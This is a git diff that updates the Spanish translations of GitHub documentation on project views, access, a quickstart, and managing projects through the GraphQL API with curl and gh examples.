-The new view is automatically saved.
+La vista nueva se guarda automáticamente.
 
-## Saving changes to a view
+## Guardar los cambios en una vista
 
-When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. 
+Cuando haces cambios en una vista, por ejemplo: clasificar, reordenar, filtrar o agrupar los datos en una vista, se muestra un punto junto al nombre de la vista para indicar que hay cambios sin guardar.
 
-![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png)
+![Indicador de cambios sin guardar](/assets/images/help/projects/unsaved-changes.png)
 
-If you don't want to save the changes, you can ignore this indicator. No one else will see your changes.
+Si no quieres guardar los cambios, puedes ignorar este indicador. Nadie verá tus cambios.
 
-To save the current configuration of the view for all project members:
+Para guardar la configuración actual de la vista para todos los miembros del proyecto:
 1. {% data reusables.projects.open-command-palette %}
-1. Start typing "Save view" or "Save changes to new view".
-1. Choose the required command.
-1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**.
+1. Comienza a teclear "Save view" o "Save changes to new view".
+1. Elige el comando requerido.
+1. Como alternativa, haz clic en el menú desplegable junto a un nombre de vista y haz clic en **Guardar vista** o **Guardar cambios en una vista nueva**.
 
-## Reordering saved views
+## Reordenar las vistas guardadas
 
-To change the order of the tabs that contain your saved views, click and drag a tab to a new location.
+Para cambiar el orden de las pestañas que contienen tus vistas guardadas, haz clic y arrastra una pestaña a una ubicación nueva.
 
-The new tab order is automatically saved.
+El orden de pestañas nuevo se guardará automáticamente.
 
-## Renaming a saved view
+## Renombrar una vista guardada
 
-To rename a view:
-1. Double click the name in the project tab.
-1. Change the name.
-1. Press Enter, or click outside of the tab.
+Para renombrar una vista:
+1. Haz doble clic en el nombre de la pestaña del proyecto.
+1. Cambia el nombre.
+1. Presiona Enter o haz clic fuera de la pestaña.
 
-The name change is automatically saved.
+El cambio de nombre se guarda automáticamente.
 
-## Deleting a saved view
+## Borrar una vista guardada
 
-To delete a view:
+Para borrar una vista:
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing "Delete view".
-3. Choose the required command.
-4. Alternatively, click the drop-down menu next to a view name and click **Delete view**.
+2. Comienza a teclear "Delete view".
+3. Elige el comando requerido.
+4. Como alternativa, selecciona el menú desplegable junto a un nombre de vista y haz clic en **Borrar vista**.
 
-## Further reading
+## Leer más
 
-- "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
-- "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
+- "[Acerca de los proyectos (beta)](/issues/trying-out-the-new-projects-experience/about-projects)"
+- "[Crear un proyecto (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)"
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
index 0e92893d8d..e6b871496f 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md
@@ -37,7 +37,7 @@ The default base role is `write`, meaning that everyone in the organization can
 
 ### Managing access for teams and individual members of your organization
 
-You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can also add teams, and individual organization members, as collaborators. Para obtener más información, consulta la sección "[Acerca de los equipos](/organizations/organizing-members-into-teams/about-teams)".
 
 You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization.
 
@@ -66,7 +66,7 @@ You can only invite an individual user to collaborate on your organization-level
 
 {% note %}
 
-This only affects collaborators for your project, not for repositories in your project. To view an item on the project, someone must have the required permissions for the repository that the item belongs to. If your project includes items from a private repository, people who are not collaborators in the repository will not be able to view items from that repository. For more information, see "[Setting repository visibility](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)" and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."
+This only affects collaborators for your project, not for repositories in your project. To view an item on the project, someone must have the required permissions for the repository that the item belongs to. If your project includes items from a private repository, people who are not collaborators in the repository will not be able to view items from that repository. Para obtener más información, consulta las secciones "[Configurar la visibilidad de un repositorio](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility)" y "[Administrar los equipos y personas con acceso a tu repositorio](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)".
 
 {% endnote %}
 
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md
index 4b64c42f6a..31d239b2b5 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/quickstart.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart for projects (beta)
-intro: 'Experience the speed, flexibility, and customization of projects (beta) by creating a project in this interactive guide.'
+title: Inicio rápido para los proyectos (beta)
+intro: 'Experimenta la velocidad, flexibilidad y personalización de proyectos (beta) creando un proyecto en esta guía interactiva.'
 allowTitleToDifferFromFilename: true
 miniTocMaxHeadingLevel: 3
 versions:
@@ -13,142 +13,140 @@ topics:
 
 {% data reusables.projects.projects-beta %}
 
-## Introduction
+## Introducción
 
-This guide demonstrates how to use projects (beta) to plan and track work. In this guide, you will create a new project and add a custom field to track priorities for your tasks. You'll also learn how to create saved views that help you communicate priorities and progress with your collaborators.
+Esta guía te demuestra cómo utilizar los proyectos (beta) para planear y rastrear el trabajo. En esta guía, crearás un proyecto nueuvo y agregarás un campo personalizado para rastrear prioridades para tus tareas. También aprenderás cómo crear las vistas guardadas que te ayudarán a comunicar las prioridades y el progreso con tus colaboradores.
 
-## Prerequisites
+## Prerrequisitos
 
-You can either create an organization project or a user project. To create an organization project, you need a {% data variables.product.prodname_dotcom %} organization. For more information about creating an organization, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+Puedes ya sea crear un proyecto de organización o de usuario. Para crear un proyecto de organización, necesitas una organización de {% data variables.product.prodname_dotcom %}. Para obtener más información sobre cómo crear una organización, consulta la sección "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)".
 
-In this guide, you will add existing issues from repositories owned by your organization (for organization projects) or by you (for user projects) to your new project. For more information about creating issues, see "[Creating an issue](/issues/tracking-your-work-with-issues/creating-an-issue)."
+En esta guía agregarás propuestas existentes desde repositorios que le pertenecen a tu organización (para los proyectos organizacionales) o a ti mismo (para proyectos de usuario) a tu proyecto nuevo. Para obtener más información sobre cómo crear propuestas, consulta la sección "[Crear una propuesta](/issues/tracking-your-work-with-issues/creating-an-issue)".
 
-## Creating a project
+## Crear un proyecto
 
-First, create an organization project or a user project.
+Primero, crea un proyecto organizacional o de usuario.
 
-### Creating an organization project
+### Crear un proyecto organizacional
 
 {% data reusables.projects.create-project %}
 
-### Creating a user project
+### Crear un proyecto de usuario
 
 {% data reusables.projects.create-user-project %}
 
-## Adding issues to your project
+## Agregar propuestas a tu proyecto
 
-Next, add a few issues to your project.
+A continuación, agrega algunas propuestas a tu proyecto.
 
-When your new project initializes, it prompts you to add items to your project. If you lose this view or want to add more issues later, place your cursor in the bottom row of the project, next to the {% octicon "plus" aria-label="plus icon" %}.
+Cuando inicializa tu proyecto nuevo, te pide agregar elementos al mismo. Si pierdes esta vista o quieres agregar más propuestas posteriormente, coloca tu cursor en la fila inferior del proyecto, junto al {% octicon "plus" aria-label="plus icon" %}.
 
-1. Type `#`.
-2. Select the repository where your issue is located. To narrow down the options, you can start typing a part of the repository name.
-3. Select your issue. To narrow down the options, you can start typing a part of the issue title.
+1. Teclea `#`.
+2. Selecciona el repositorio en donde se encuentra tu propuesta. Para reducir las opciones, puedes comenzar a teclear parte del nombre del repositorio.
+3. Seleciona tu propuesta. Para reducir las opciones, puedes comenzar a teclear parte del título de la propuesta.
 
-Repeat the above steps a few times to add multiple issues to your project.
+Repite los pasos anteriores algunas veces para agregar propuestas múltiples a tu proyecto.
 
-For more information about other ways to add issues to your project, or about other items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)."
+Para obtener más información sobre otras formas de agregar usuarios a tu proyecto o acerca de otros elementos que puedes agregar a tu proyecto, consulta la sección "[Crear un proyecto](/issues/trying-out-the-new-projects-experience/creating-a-project#adding-items-to-your-project)".
 
-## Creating a field to track priority
+## Crear un campo para rastrear la prioridad
 
-Now, create a custom field called `Priority` to contain the values: `High`, `Medium`, or `Low`.
+Ahora, crea un campo personalizado que se llame `Priority` para que contenga los valores: `High`, `Medium`, o `Low`.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Create new field".
-3. Select **Create new field**.
-4. In the resulting pop-up, enter `Priority` in the text box.
-5. In the drop-down, select **Single select**.
-6. Add options for `High`, `Medium`, and `Low`. You can also include emojis in your options.
-   ![New single select field example](/assets/images/help/projects/new-single-select-field.png)
-7. Click **Save**.
+2. Comienza a teclear cualqueir parte de "Crear campo nuevo".
+3. Selecciona **Crear campo nuevo**.
+4. En la ventana emergente resultante, ingresa `Priority` en la caja de texto.
+5. En el menú desplegable, selecciona **Selección simple**.
+6. Agrega opciones para `High`, `Medium`, y `Low`. También puedes incluir emojis en tus opciones. ![Ejemplo de campo de seleccións sencilla nueva](/assets/images/help/projects/new-single-select-field.png)
+7. Haz clic en **Save ** (guardar).
 
-Specify a priority for all issues in your project.
+Especificar una prioridad para todas las propuestas de tu proyecto.
 
-![Example priorities](/assets/images/help/projects/priority_example.png)
+![Prioridades de ejemplo](/assets/images/help/projects/priority_example.png)
 
-## Grouping issues by priority
+## Agrupar propuestas por rioridad
 
-Next, group all of the items in your project by priority to make it easier to focus on the high priority items.
+A continuación, agrupa todos los elementos en tu proyecto por prioridad para hacer más fácil el poder enfocarse en los elementos de prioridad alta.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Group by".
-3. Select **Group by: Priority**.
+2. Comienza a teclar cualquier parte de "Group by".
+3. Selecciona **Group by: Priority**.
 
-Now, move issues between groups to change their priority.
+Ahora, mueve las propuestas entre los grupos para cambiar su prioridad.
 
-1. Choose an issue.
-2. Drag and drop the issue into a different priority group. When you do this, the priority of the issue will change to be the priority of its new group.
+1. Elige una propuesta.
+2. Arrástrala y suéltala en un grupo de prioridad diferente. Cuando lo haces, la prioridad de esta propuesta cambiará para ser la prioridad de este grupo nuevo.
 
-![Move issue between groups](/assets/images/help/projects/move_between_group.gif)
+![Mover la propuesta entre grupos](/assets/images/help/projects/move_between_group.gif)
 
-## Saving the priority view
+## Guardar la vista de prioridades
 
-When you grouped your issues by priority in the previous step, your project displayed an indicator to show that the view was modified. Save these changes so that your collaborators will also see the tasks grouped by priority.
+Cuando agrupas tus propuestas por prioridad en el paso anterior, tu proyecto mostró un indicador para mostrar que la vista se modificó. Guarda estos cambios para que tus colaboradores también vean las tareas agrupadas por prioridad.
 
-1. Select the drop-down menu next to the view name.
-2. Click **Save changes**.
+1. Selecciona el menú desplegable junto al nombre de l vista.
+2. Haz clic en **Guardar cambios**.
 
-To indicate the purpose of the view, give it a descriptive name.
+Para indicar la propuesta de la vista, dale un nombre descriptivo.
 
-1. Place your cursor in the current view name, **View 1**.
-2. Replace the existing text with the new name, `Priorities`.
+1. Coloca tu cursor en el nombre de la vista actual, **Vista 1**.
+2. Reemplaza el texto existente con el nombre nuevo, `Priorities`.
 
-You can share the URL with your team to keep everyone aligned on the project priorities.
+Pudes compartir la URL con tu equipo para mantener a todos alineados con las prioridades del proyecto.
 
-When a view is saved, anyone who opens the project will see the saved view. Here, you grouped by priority, but you can also add other modifiers such as sort, filter, or layout. Next, you will create a new view with the layout modified.
+Cuando guardas una vista, cualquiera que abra el proyecto verá la vista guardada. Aquí, agrupaste por prioridad, pero también puedes agregar otros modificadores, tales como clasificar, filtrar o diseño. Luego, crearás una vista nueva con el diseño modificado.
 
-## Adding a board layout
+## Agregar un diseño de tablero
 
-To view the progress of your project's issues, you can switch to board layout.
+Para ver el progreso de las propuestas de tu proyecto, puedes cambiar al diseño de tablero.
 
-The board layout is based on the status field, so specify a status for each issue in your project.
+El diseño de tablero se basa en el campo de estado, así que especifica un estado para cada propuesta en tu proyecto.
 
-![Example status](/assets/images/help/projects/status_example.png)
+![Estado de ejemplo](/assets/images/help/projects/status_example.png)
 
-Then, create a new view.
+Posteriormente, crea una vista nueva.
 
-1. Click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view.
+1. Haz clic en {% octicon "plus" aria-label="the plus icon" %} **Vista nueva** junto a la vista que hasta el extremo derecho.
 
-Next, switch to board layout.
+Ahora, cambia al diseño de tablero.
 
 1. {% data reusables.projects.open-command-palette %}
-2. Start typing any part of "Switch layout: Board".
-3. Select **Switch layout: Board**.
-   ![Example priorities](/assets/images/help/projects/example_board.png)
+2. Comienza a teclear cualquier parte de "Switch layout: Board".
+3. Selecciona **Switch layout: Board**. ![Prioridades de ejemplo](/assets/images/help/projects/example_board.png)
 
-When you changed the layout, your project displayed an indicator to show that the view was modified. Save this view so that you and your collaborators can easily access it in the future.
+Cuando cambiaste el diseño, tu proyecto mostró un indicador para mostrar que la vista se modificó. Guarda esta vista para que tanto tus colaboradores como tú puedan acceder fácilmente a ella en el futuro.
 
-1. Select the drop-down menu next to the view name.
-2. Click **Save changes**.
+1. Selecciona el menú desplegable junto al nombre de l vista.
+2. Haz clic en **Guardar cambios**.
 
-To indicate the purpose of the view, give it a descriptive name.
+Para indicar la propuesta de la vista, dale un nombre descriptivo.
 
-1. Place your cursor in the current view name, **View 2**.
-2. Replace the existing text with the new name, `Progress`.
+1. Coloca tu cursor en el nombre de la vista acuta, **Vista 2**.
+2. Reemplaza el texto existente con el nombre nuevo, `Progress`.
 
-![Example priorities](/assets/images/help/projects/project-view-switch.gif)
+![Prioridades de ejemplo](/assets/images/help/projects/project-view-switch.gif)
 
-## Configure built-in automation
+## Configurar la automatización integrada
 
-Finally, add a built in workflow to set the status to **Todo** when an item is added to your project.
+Finalmente, agrega un flujo de trabajo integrado para configurar el estado en **Por hacer** cuando se agrega un elemento a tu proyecto.
 
 1. In your project, click {% octicon "workflow" aria-label="the workflow icon" %}.
-2. Under **Default workflows**, click **Item added to project**.
-3. Next to **When**, ensure that both `issues` and `pull requests` are selected.
-4. Next to **Set**, select **Status:Todo**.
-5. Click the **Disabled** toggle to enable the workflow.
+2. Debajo de **Flujos de trabajo predeterminados**, haz clic en **Elemento agregado al proyecto**.
+3. Junto a **Cuándo**, asegúrate de que tanto `issues` como `pull requests` estén seleccionados.
+4. Junto a **Configurar**, selecciona **Estado: Por hacer**.
+5. Haz clic en el alternador de **Inhabilitado** para habilitar el flujo de trabajo.
 
-## Next steps
+## Pasos siguientes
 
-You can use projects for a wide range of purposes. For example:
+Puedes utilizar los proyectos para una gama extensa de propósitos. Por ejemplo:
 
-- Track work for a release
-- Plan a sprint
-- Prioritize a backlog
+- Rastrear el trabajo para un lanzamiento
+- Planear una racha rápida
+- Priorizar algo pendiente
 
-Here are some helpful resources for taking your next steps with {% data variables.product.prodname_github_issues %}:
+Aquí tienes algunos recursos útiles para que tomes tus siguientes pasos con {% data variables.product.prodname_github_issues %}:
 
-- To provide feedback about the projects (beta) experience, go to the [GitHub feedback repository](https://github.com/github/feedback/discussions/categories/issues-feedback).
-- To learn more about how projects can help you with planning and tracking, see "[About projects](/issues/trying-out-the-new-projects-experience/about-projects)."
-- To learn more about the fields and items you can add to your project, see "[Creating a project](/issues/trying-out-the-new-projects-experience/creating-a-project)."
-- To learn about more ways to display the information you need, see "[Customizing your project views](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)."
+- Para proporcionar retroalimentación acerca de la experiencia (beta) en los proyectos, dirígete al [Repositorio de retroalimentación de GitHub](https://github.com/github/feedback/discussions/categories/issues-feedback).
+- Para aprender más sobre los proyectos que te pueden ayudar con el rastreo y la planeación, consulta la sección "[Acerca de los proyectos](/issues/trying-out-the-new-projects-experience/about-projects)".
+- Para aprender más sobre los cambios y elementos que puedes agregar a tu proyecto, consulta la sección "[Crear un proyecto](/issues/trying-out-the-new-projects-experience/creating-a-project)".
+- Para aprender sobre más formas en las que se puede mostrar la información que necesitas, consulta la sección "[Personalizar tus vistas de proyecto](/issues/trying-out-the-new-projects-experience/customizing-your-project-views)".
diff --git a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
index 07843a55d9..acfd6497df 100644
--- a/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
+++ b/translations/es-ES/content/issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects.md
@@ -1,6 +1,6 @@
 ---
-title: Using the API to manage projects (beta)
-intro: You can use the GraphQL API to find information about projects and to update projects.
+title: Utilizar la API para administrar proyectos (beta)
+intro: Puedes utilizar la API de GraphQL para encontrar información acerca de los proyectos y para actualizarlos.
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,17 +11,15 @@ topics:
   - Projects
 ---
 
-This article demonstrates how to use the GraphQL API to manage a project. For more information about how to use the API in a {% data variables.product.prodname_actions %} workflow, see "[Automating projects (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)." For a full list of the available data types, see "[Reference](/graphql/reference)."
+El artículo muestra cómo utilizar la API de GraphQL para administrar un proyecto. Para obtener más información sobre cómo utilizar la API en un flujo de trabajo de {% data variables.product.prodname_actions %}, consulta la sección "[Automatizar proyectos (beta)](/issues/trying-out-the-new-projects-experience/automating-projects)". Para encontrar una lista completa de los tipos de datos disponibles, consulta la "[Referencia](/graphql/reference)".
 
 {% data reusables.projects.projects-beta %}
 
-## Authentication
-
-{% include tool-switcher %}
+## Autenticación
 
 {% curl %}
 
-In all of the following cURL examples, replace `TOKEN` with a token that has the `read:org` scope (for queries) or `write:org` scope (for queries and mutations). The token can be a personal access token for a user or an installation access token for a {% data variables.product.prodname_github_app %}. For more information about creating a personal access token, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." For more information about creating an installation access token for a {% data variables.product.prodname_github_app %}, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)."
+En el resto de los ejemplos de cURL, reemplaza a `TOKEN` con un token que tenga el alcance `read:org` (para las consultas) o `write:org` (para las consultas y mutaciones). El token puede ser un token personal de acceso para un usuario o un token de acceso a la instalación para una {% data variables.product.prodname_github_app %}. Para obtener más información acerca de cómo crear un token de acceso personal, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)". Para obtener más información sobre cómo crear un token de acceso a la instalación para una {% data variables.product.prodname_github_app %}, consulta la sección "[Autenticarse con {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app)".
 
 {% endcurl %}
 
@@ -29,15 +27,15 @@ In all of the following cURL examples, replace `TOKEN` with a token that has the
 
 {% data reusables.cli.cli-learn-more %}
 
-Before running {% data variables.product.prodname_cli %} commands, you must authenticate by running `gh auth login --scopes "write:org"`. If you only need to read, but not edit, projects, you can omit the `--scopes` argument. For more information on command line authentication, see "[gh auth login](https://cli.github.com/manual/gh_auth_login)."
+Antes de ejecutar comandos del {% data variables.product.prodname_cli %}, debes autenticarte ejecutando `gh auth login --scopes "write:org"`. Si solo necesitas leer, mas no editar, los proyectos, puedes omitir el argumento `--scopes`. Para obtener más información sobre la autenticación por la línea de comandos, consulta la sección "[gh auth login](https://cli.github.com/manual/gh_auth_login)".
 
 {% endcli %}
 
 {% cli %}
 
-## Using variables
+## Utilizar variables
 
-In all of the following examples, you can use variables to simplify your scripts. Use `-F` to pass a variable that is a number, Boolean, or null. Use `-f` for other variables. For example,
+Puedes utilizar variables para simplificar tus scripts en todos los ejemplos siguientes. Utiliza `-F` para pasar una variable que sea un número, un booleano o nula. Utiliza `-f` para otras variables. Por ejemplo,
 
 ```shell
 my_org="octo-org"
@@ -56,17 +54,15 @@ For more information, see "[Forming calls with GraphQL]({% ifversion ghec%}/free
 
 {% endcli %}
 
-## Finding information about projects
+## Encontrar información sobre los proyectos
 
-Use queries to get data about projects. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
+Utiliza consultas para obtener datos sobre los proyectos. For more information, see "[About queries]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-queries)."
 
-### Finding the node ID of an organization project
+### Encontrar la ID de nodo de un proyecto organizacional
 
-To update your project through the API, you will need to know the node ID of the project.
+Para actualizar tu proyecto a través de la API, necesitarás conocer la ID de nodo del proyecto.
 
-You can find the node ID of an organization project if you know the organization name and project number. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`. Replace `NUMBER` with the project number. To find the project number, look at the project URL. For example, `https://github.com/orgs/octo-org/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+Puedes encontrar la ID de nodo de un proyecto organizacional si conoces el nombre de la organización y el número de proyecto. Reemplaza `ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`. Reemplaza `NUMBER` con el número de proyecto. Para encontrar un número de proyecto, revisa su URL. Por ejemplo, la dirección `https://github.com/orgs/octo-org/projects/5` tiene "5" como número de proyecto.
 
 {% curl %}
 ```shell
@@ -90,9 +86,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID of all projects in your organization. The following example will return the node ID and title of the first 20 projects in an organization. Replace `ORGANIZATION` with the name of your organization. For example, `octo-org`.
-
-{% include tool-switcher %}
+También puedes encontrar la ID de nodo de todos los proyectos en tu organización. El siguiente ejemplo devolverá la ID de nodo y el título de los primeros 20 proyectos en una organización. Reemplaza `ORGANIZATION` con el nombre de tu organización. Por ejemplo, `octo-org`.
 
 {% curl %}
 ```shell
@@ -119,13 +113,11 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Finding the node ID of a user project
+### Encontrar la ID de nodo de un proyecto de usuario
 
-To update your project through the API, you will need to know the node ID of the project.
+Para actualizar tu proyecto a través de la API, necesitarás conocer la ID de nodo del proyecto.
 
-You can find the node ID of a user project if you know the project number. Replace `USER` with your user name. For example, `octocat`. Replace `NUMBER` with your project number. To find the project number, look at the project URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
-
-{% include tool-switcher %}
+Puedes encontrar la ID de nodo de un proyecto de usuario si conoces el número del mismo. Reemplaza `USER` con tu nombre de usuario. Por ejemplo, `octocat`. Reemplaza `NUMBER` con tu número de proyecto. Para encontrar un número de proyecto, revisa su URL. For example, `https://github.com/users/octocat/projects/5` has a project number of 5.
 
 {% curl %}
 ```shell
@@ -149,9 +141,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-You can also find the node ID for all of your projects. The following example will return the node ID and title of your first 20 projects. Replace `USER` with your username. For example, `octocat`.
-
-{% include tool-switcher %}
+También puedes encontrar la ID de nodo de todos tus proyectos. El siguiente ejemplo devolverá la ID de nodo y el título de tus primeros 20 proyectos. Reemplaza a `USER` con tu nombre de usuario. Por ejemplo, `octocat`.
 
 {% curl %}
 ```shell
@@ -178,13 +168,11 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-### Finding the node ID of a field
+### Encontrar la ID de nodo de un campo
 
-To update the value of a field, you will need to know the node ID of the field. Additionally, you will need to know the ID of the options for single select fields and the ID of the iterations for iteration fields.
+Para actualizar el valor de un campo, necesitarás conocer la ID de nodo del mismo. Adicionalmente, necesitarás saber la ID de las opciones para los campos de selección única y la ID de las iteraciones de los campos de iteración.
 
-The following example will return the ID, name, and settings for the first 20 fields in a project. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+El siguiente ejemplo devolverá la ID, nombre y configuración de los primeros 20 campos de un proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto.
 
 {% curl %}
 ```shell
@@ -214,7 +202,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will look similar to the following example:
+La respuesta se verá de forma similar al siguiente ejemplo:
 
 ```json
 {
@@ -249,15 +237,13 @@ The response will look similar to the following example:
 }
 ```
 
-Each field has an ID. Additionally, single select fields and iteration fields have a `settings` value. In the single select settings, you can find the ID of each option for the single select. In the iteration settings, you can find the duration of the iteration, the start day of the iteration (from 1 for Monday to 7 for Sunday), the list of incomplete iterations, and the list of completed iterations. For each iteration in the lists of iterations, you can find the ID, title, duration, and start date of the iteration.
+Cada campo tiene una ID. Adicionalmente, los campos de selección única y de iteración tienen un valor de `settings`. En los ajustes de selección única, puedes encontrar la ID de cada opción de la selección única. En los ajustes de iteración, puedes encontrar la duración de estas, el día de inicio de la iteración (desde 1 para los lunes hasta 7 para los domingos), la lista de iteraciones incompletas y la lista de iteraciones completas. Para cada iteración en las listas de iteraciones, puedes encontrar la ID, título, duración y fecha de inicio de ella.
 
-### Finding information about items in a project
+### Encontrar información sobre los elementos en un proyecto
 
-You can query the API to find information about items in your project.
+Puedes consultar mediante la API para encontrar información sobre los elementos de tu proyecto.
 
-The following example will return the title and ID for the first 20 items in a project. For each item, it will also return the value and name for the first 8 fields in the project. If the item is an issue or pull request, it will return the login of the first 10 assignees. Replace `PROJECT_ID` with the node ID of your project.
-
-{% include tool-switcher %}
+El siguiente ejemplo devolverá el título y la ID de los primeros 20 elementos en un proyecto. Para cada elemento, también devolverá el valor y nombre de los primeros 8 campos en el proyecto. Si el elemento es una propuesta o solicitud de cambios, este devolverá al inicio de sesión de los primeros 10 asignados. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto.
 
 {% curl %}
 ```shell
@@ -310,7 +296,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-A project may contain items that a user does not have permission to view. In this case, the response will include redacted item.
+Un proyecto podría contener elementos que los usuarios no tengan permiso para ver. In this case, the response will include a redacted item.
 
 ```shell
 {
@@ -321,21 +307,19 @@ A project may contain items that a user does not have permission to view. In thi
 }
 ```
 
-## Updating projects
+## Actualizar los proyectos
 
-Use mutations to update projects. For more information, see "[About mutations]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)."
+Utiliza las mutaciones para actualizar los proyectos. Para obtener más información, consulta la sección "[Acerca de las mutaciones]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/forming-calls-with-graphql#about-mutations)".
 
 {% note %}
 
-**Note:** You cannot add and update an item in the same call. You must use `addProjectNextItem` to add the item and then use `updateProjectNextItemField` to update the item.
+**Nota:** No puedes agregar y actualizar un elemento en el mismo llamado. Debes utilizar `addProjectNextItem` para agregar el elemento y luego `updateProjectNextItemField` para actualizarlo.
 
 {% endnote %}
 
-### Adding an item to a project
+### Agregar un elemento a un proyecto
 
-The following example will add an issue or pull request to your project. Replace `PROJECT_ID` with the node ID of your project. Replace `CONTENT_ID` with the node ID of the issue or pull request that you want to add.
-
-{% include tool-switcher %}
+El siguiente ejemplo agregará una propuesta o solicitud de cambios a tu proyecto. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza a `CONTENT_ID` con la ID de nodo de la propuesta o solicitud de cambios que quieras agregar.
 
 {% curl %}
 ```shell
@@ -359,7 +343,7 @@ gh api graphql -f query='
 ```
 {% endcli %}
 
-The response will contain the node ID of the newly created item.
+La respuesta contendrá la ID de nodo del elemento recién creado.
 
 ```json
 {
@@ -373,13 +357,11 @@ The response will contain the node ID of the newly created item.
 }
 ```
 
-If you try add an item that already exists, the existing item ID is returned instead.
+If you try to add an item that already exists, the existing item ID is returned instead.
 
-### Updating a custom text, number, or date field
+### Actualizar un campo personalizado de texto, número o fecha
 
-The following example will update the value of a date field for an item. Replace `PROJECT_ID` with the node ID of your project. Replace `ITEM_ID` with the node ID of the item you want to update. Replace `FIELD_ID` with the ID of the field that you want to update.
-
-{% include tool-switcher %}
+El siguiente ejemplo actualizará el valor de un campo de fecha para un elemento. Reemplaza a `PROJECT_ID` con la ID de nodo de tu proyecto. Reemplaza a `ITEM_ID` con la ID de nodo del elemento que quieras actualizar. Reemplaza a `FIELD_ID` con la ID del campo que quieras actualizar.
 
 {% curl %}
 ```shell
@@ -412,20 +394,18 @@ gh api graphql -f query='
 
 {% note %}
 
-**Note:** You cannot use `updateProjectNextItemField` to change `Assignees`, `Labels`, `Milestone`, or `Repository` because these fields are properties of pull requests and issues, not of project items. Instead, you must use the [addAssigneesToAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addassigneestoassignable), [removeAssigneesFromAssignable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removeassigneesfromassignable), [addLabelsToLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#addlabelstolabelable), [removeLabelsFromLabelable]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#removelabelsfromlabelable), [updateIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updateissue), [updatePullRequest]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#updatepullrequest), or [transferIssue]({% ifversion ghec%}/free-pro-team@latest{% endif %}/graphql/reference/mutations#transferissue) mutations.
